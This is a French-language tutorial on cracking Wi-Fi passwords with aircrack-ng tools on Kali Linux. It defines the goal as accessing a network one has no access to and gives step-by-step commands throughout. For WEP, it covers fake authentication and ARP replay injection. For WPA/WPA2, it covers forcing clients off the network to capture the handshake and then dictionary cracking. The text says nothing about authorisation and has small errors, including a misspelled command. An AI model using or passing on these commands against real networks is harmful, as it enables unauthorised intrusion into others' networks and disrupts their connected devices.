Le cracking ou le piratage Wi-Fi est une technique qui a pour but d'avoir accès à un réseau Wi-Fi dont on n'a pas l'accès.

Les réseaux WI-Fi sont souvent protégés par des mots de passe grâce aux mécanismes de chiffrements tels que le WEP, le WPA, WPA2 et le WPA3. Le WEP étant un mécanisme assez faible (facile à pirater), la plupart des réseaux optent pour les autres mécanismes existants.

Nous allons donc nous intéresser au cracking des Wi-Fi WPA,WPA2

Etapes de cracking d'une clé WEP

Matériels nécessaires:

- Système Linux, Kali de préférence avec une bonne carte réseau
- La cible, un réseau WEP codé
- Avoir des terminaux connectés au Wi-Fi

Procédure

1- Arrêter tous les processus utilisant l'interface Wi-fi (wlan0)

airmon-ng check kill

2- Démarrer l'interface wlan0 en mode moniteur

airmon-ng start wlan0

3- Lister les réseaux Wi-Fi à clé WEP disponibles dans votre entourage

airodump-ng --encrypt wep wlan0

Le « –encrypt wep » permet d’afficher uniquement les réseaux protégés en WEP.

4- Démarrer la capture des paquets

airodump-ng --bssid [addr mac ap] --ch 12 --write capture wlan0mon

- —**bssid** pour définir ****l'adresse MAC du point d'accès Wi-Fi
- —**ch** pour le numéro du canal
- —**write** pour l'emplacement du fichier contenant la capture des paquets à sauvegarder
- **wlan0mon** représente l'interface

NB: Le réel challenge ici est d'avoir assez de traffic sur le réseau. A cet effet, la commande ci-après nous permettra de rendre efficace notre opération

Fausser une connexion à la box pour nous permettre d'injecter nos paquets correctement avec la commande aireplay

aireplay-ng --fakeauth 30 -a [addr mac ap] wlan0mon

- **—fakeauth** pour définir le nombre de secondes avant de se ré-authentifier.
- **-a** pour spécifier l'adresse MAC du Wi-Fi
- **wlan0mon** représente l'interface

5- Récupérer des paquets de la part du Wi-FI

aireplay-ng -3 -b 00:xx:xx:xx:xx:xx wlan0mon

- **-b** pour définir l'adresse MAC du Wi-Fi
- **-3** pour signifier arpreplay

6- Déchiffrement du mot de passe du Wi-FI

aircrack-ng capture-01.cap

- **aircrack-ng** : 802.11 **WEP** and **WPA-PSK** keys cracking program
- **capture-01.cap** : Emplacement du fichier .cap

Pour revenir à l'état normal après le crack

```
airmong-ng stop wlan0mon
service networking restart
service network-manager restart
```

Etapes de cracking d'une clé WPA/WPA2

Matériels nécessaires:

- Système Linux, Kali de préférence avec une bonne carte réseau
- La cible, un réseau Wi-Fi WPA/WPA2 codé
- Avoir des terminaux connectés au Wi-Fi

Procédure

1- Arrêter tous les processus utilisant l'interface Wi-fi (wlan0)

airmon-ng check kill

2- Démarrer l'interface wlan0 en mode moniteur

airmon-ng start wlan0

3- Lister les réseaux Wi-Fi disponibles dans votre entourage

airodump-ng wlan0

4- Afficher les terminaux connectés à votre réseau cible

airodump-ng -c 1 --bssid 80:35:C1:13:C1:2C -w capture wlan0mon

bssid pour définir ****l'adresse MAC du point d'accès Wi-Fi

c pour le numéro du canal

w pour l'emplacement du fichier de mot de passe à sauvegarder

wlan0 représente l'interface

5- Ouvrir un autre terminal et déconnecter tous les terminaux connectés au WI-Fi

aireplay-ng -0 10 -a 80:35:C1:13:C1:2C wlan0

- **aireplay-ng** : Pour l'injection des paquets
- **0** : pour la déconnection
- **10** : Nombre de paquets de déconnection à envoyer
- **a** : Pour le bssid du WI-Fi
- **wlan0** : Nom de l'interface

Lorsque le client est déconnecté du réseau cible. Il essaie de se reconnecter au réseau et quand il le fait, vous obtiendrez quelque chose appelé handshake (poignée de main WPA) dans la fenêtre précédente du terminal.

La capture de paquet est ainsi finie

6- Déchiffrement du mot de passe du Wi-FI

aircrack-ng -a2 -b 80:35:C1:13:C1:2C -w /root/passwords.txt capture-01.cap

- **aircrack-ng** : 802.11 **WEP** and **WPA-PSK** keys cracking program
- **a** : -a2 pour **WPA2** & -a pour **WPA** network
- **b** : Le BSSID du WI-Fi
- **w** : Emplacement du dictionnaire de mot de passe
- **capture-01.cap** : Emplacement du fichier .cap

Le véritable challenge ici est d'avoir un bon dictionnaire de mot de passe pour pouvoir déchiffrer le mot de passe du WI-Fi.

Le dictionnaire de mot peut être généré avec l'outil [crunch](https://tools.kali.org/password-attacks/crunch)